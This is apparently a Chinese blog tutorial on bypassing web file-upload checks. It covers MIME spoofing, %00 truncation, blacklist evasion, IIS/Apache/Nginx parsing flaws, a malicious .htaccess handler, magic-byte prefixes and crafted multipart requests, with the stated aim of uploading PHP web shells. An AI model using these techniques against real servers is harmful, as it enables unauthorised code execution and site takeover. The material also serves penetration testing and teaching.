web渗透之文件上传绕过技巧

1.客户端javascript检测绕过(检测文件扩展名)

检测源码示例:

  <script type="text/javascript">
    function checkFileExt(filename)
    {
       var flag = false; 			//状态标志
       var arr = ["jpg","png","gif"];
       //取出上传文件的扩展名
       var index = filename.lastIndexOf(".");
       var ext = filename.substr(index+1);
       //循环比较
       for(var i=0;i<arr.length;i++)
       {
         if(ext == arr[i])
         {
           flag = true; 			//一旦找到合适的,立即退出循环
           break;
         }
       }
       //条件判断
       if(flag)
       {
         document.write("文件名合法");
       }else
       {
         document.write("文件名不合法");
       }
     }
  </script>

[方法1] 上传test.jpg并抓包,在burpsuite中改名为test.php即可绕过上传

[方法2] 禁用javascript即可直接绕过上传

2.服务端MIME类型检测绕过(检测Content-Type内容)

检测源码示例

  <?php
    if($_FILES['user=file'][type]!="image/gif"){
    echo "Sorry ,we only allow uploading GIF Images";
    exit;
    }
    ...
  ?>

[方法] 上传抓包,将上传文件中的Content-Type: text/plain(或其他形式)改为Content-Type: image/gif即可绕过上传
HTTP Content-Type常用对照表
text/plain .txt
image/jpeg .jpeg/.jpg
application/x-bmp .bmp
image/gif .gif
image/png .png
image/x-icon .ico
text/asa .asa
text/asp .asp
text/html .jsp/.htm/.html

3.服务端目录路径检测绕过(检测与path参数相关的内容)

[方法] 上传文件时可控制上传路径,利用%00截断修改上传路径
filepath=/image/test.php%00.gif/
filename=test.gif
服务端会把test.gif里的内容先保存为临时文件(类似于c:/temp/phpf3at7b),再写到/image/test.php中去,即可绕过上传

4.服务端文件扩展名检测绕过(检测与文件extension相关的内容)

(1)黑名单绕过

1)大小写绕过
  Php AsP

2)名单列表绕过
  默认解析列表
  ----------------------------------------------------
  iis		asa cer cdx
  apache+php5	php3 php7 phps pht inc phtml ini pwml
  apache+php7	phtml

3)特殊文件名绕过
  test.asp[空格]
  test.asp.
  Windows环境下,test.asp[空格]或test.asp.这两类文件名都是不允许的,抓包修改文件名,绕过上传后Windows系统会自动去掉文件名最后的点和空格

4)%00截断绕过
  test.php%00.jpg
  test.php%00jpg
  适用于asp、php、aspx、jsp等多种脚本语言,php 5.3.4版本修复了该漏洞

5)Apache多扩展名解析绕过
  test.php.x1.x2
  Apache将从右至左开始判断后缀,若x2非可识别后缀,再判断x1,直到找到可识别后缀为止,然后解析可识别后缀,如:test.php.x1.x2会被解析为test.php

6)Apache多扩展名解析绕过之基于web服务的解析方式
  test.php.jpg
  Apache的httpd.conf里有一行配置AddHandler php5-script .php,启用后只要文件名里包含.php就会被当作php文件执行

7)Apache危险解析绕过攻击之基于web服务的解析方式
  test.jpg
  Apache的httpd.conf里有一行配置AddType application/x-httpd-php .jpg,启用后即使扩展名是.jpg也会被当作php文件执行

8).htaccess文件攻击
  test.jpg
  .htaccess
  Apache的httpd.conf里对目录的AllowOverride设置为All时,apache会应用目录下.htaccess中的配置,可编辑.htaccess文件并上传
  ----.htaccess-----------------------------------------------------------
  <FilesMatch "test.jpg">
  SetHandler application/x-httpd-php
  </FilesMatch>
  ------------------------------------------------------------------------
  |Windows环境下创建.htaccess文件方法
  |1.打开windows内建的记事本;
  |2.选取另存新文件“文件->另存为”;
  |3.在另存为的“保存类型”下拉选单中选取“所有文件”类型,可以选择utf-8,也可以是ansi
  |4.这时就可在“文件名”中输入.htaccess;
  |5.选取要另存的路径再按下保存,一个.htaccess 文件就新增完成。
  ------------------------------------------------------------------------
  此时上传到该目录下的test.jpg会被当作php文件执行

9)解析漏洞绕过
  a)IIS 6.0目录解析漏洞
    /xx.asp/xx.jpg
    IIS 6.0会把以xx.asp命名的文件夹下所有文本文件解析为asp文件

  b)IIS 6.0后缀解析漏洞
    /xx.asp;.jpg
    /xx.asp:.jpg
    IIS 6.0会把此类后缀文件解析为asp文件
    可联合默认解析、目录解析及后缀解析使用,eg: /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

  c)IIS 7.0/IIS 7.5/Nginx <=0.8.37畸形解析漏洞
    默认Fast-CGI开启的情况下
    在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为php文件

  d)Nginx <=0.8.37 %00代码执行漏洞
    影响版本:0.5,0.6,0.7<=0.7.65,0.8<=0.8.37
    Fast-CGI关闭的情况下
    在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为php文件

(2)白名单绕过

1)%00截断绕过
2)解析漏洞绕过

5.服务端文件内容检测绕过(检测内容是否合法或含有恶意代码)

(1)文件幻数检测(在一句话木马开头加上如上幻数即可绕过内容检测)

jpg value=FF D8 FF E0 00 10 4A 46 49 46		//jpg图像结束标志:FF D9
gif value=47 49 46 38 39 61				//gif图像结束标志:01 01 00 3B,此处开头为GIF89a
png value=89 50 4E 47				//png图像结束标志:AE 42 60 82
tif value=49 49 2A 00
bmp value=42 4D					//bmp图像结束标志:00
dwg value=41 43 31 30
psd value=38 42 50 53
rtf value=7B 5C 72 74 66
xls,doc value=D0 CF 11 E0
mdb value=53 74 61 6E 64 61 72 64 20 4A
  • zip value=50 4B 03 04
  • rar value=52 61 72 21
    wav value=57 41 56 45
    avi value=41 56 49 20
    rm value=2E 52 4D 46
    mpg value=00 00 01 BA
    mpg value=00 00 01 B3
    mov value=6D 6F 6F 76
    pdf value=25 50 44 46 2D 31 2E
    asf value=30 26 B2 75 8E 66 CF 11
    mid value=4D 54 68 64

(2)文件相关信息检测

图像文件相关信息检测常用的函数是getimagesize()函数,只需把文件头部分伪造好就可以了,结构如下:
GIF89a
(...some binary data for image...)
<?php phpinfo();?>
(...skipping the rest of binary data...)

(3)文件加载检测

一般是调用API或函数对文本进行加载测试

(4)文件内容检测

6.其他技巧

(1)绕过PHP GD库对图片的转换处理实现上传执行

imagecreatefrom 系列函数用于从文件或 URL 载入一幅图像,成功返回图像资源,失败则返回一个空字符串
  imagecreatefromgif()	创建一块画布,并从GIF文件或URL地址载入一副图像
  imagecreatefromjpeg()	创建一块画布,并从JPEG文件或URL地址载入一副图像
  imagecreatefrompng()	创建一块画布,并从PNG文件或URL地址载入一副图像
  imagecreatefromwbmp()	创建一块画布,并从WBMP文件或URL地址载入一副图像
  imagecreatefromstring()	创建一块画布,并从字符串中的图像流新建一副图像
[方法] 上传test.jpg后保存为xxxx1.jpg,再次上传test.jpg后保存为xxxx2.jpg,下载到本地对比两个文件相同的部分,该部分为图片帧数据,截取一部分在十六进制下修改为一句话木马,绕过后缀名检测上传执行

(2)php+window+iis环境,黑名单检测下利用系统特性进行文件上传

[前提] php+window+iis环境下,黑名单验证屏蔽了常见的php可执行文件类型
1)冒号截断+系统特性
  背景知识1:利用冒号":"截断上传文件名,如:bypass.php:jpg,上传后会得到名为bypass.php的空文件
  背景知识2:在php+window+iis环境下,双引号"""等价于点号".",大于号">"等价于问号"?",小于号"<"等价于星号"*"
  a)利用冒号":"截断上传空文件
    ----code----------------------------------------
    Content-Disposition: form-data; name="file"; filename="bypass.php:jpg"
    Content-Type: image/jpeg

    <?php phpinfo();?>
    ------------------------------------------------
    在上传目录中找到到bypass.php空文件

  b)利用系统特性覆写该文件
    ----code----------------------------------------
    Content-Disposition: form-data; name="file"; filename="bypass.<<<"
    Content-Type: image/jpeg

    <?php phpinfo();?>
    ------------------------------------------------
    由于"<" 就等于 "*",而"*"为通配符代表任意字符,从而成功实现文件写入

2)NTFS中交换数据流特性绕过黑名单验证
  [前提] php+window+iis环境下,黑名单验证屏蔽了常见的php可执行文件类型
  背景知识1:NTFS卷下完整文件名为<filename>:<stream name>:<stream type>
             sample.txt文件名实际上是sample.txt::$DATA的缩写,sample.txt为文件名,$DATA为文件流类型,故sample.php::$DATA等价于sample.php
  黑名单验证下上传如下文件名文件sample.php::$DATA,会在上传目录中得到sample.php文件
  ----code----------------------------------------
  Content-Disposition: form-data; name="file"; filename="sample.php::$DATA"
  Content-Type: image/jpeg

  <?php phpinfo();?>
  ------------------------------------------------
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值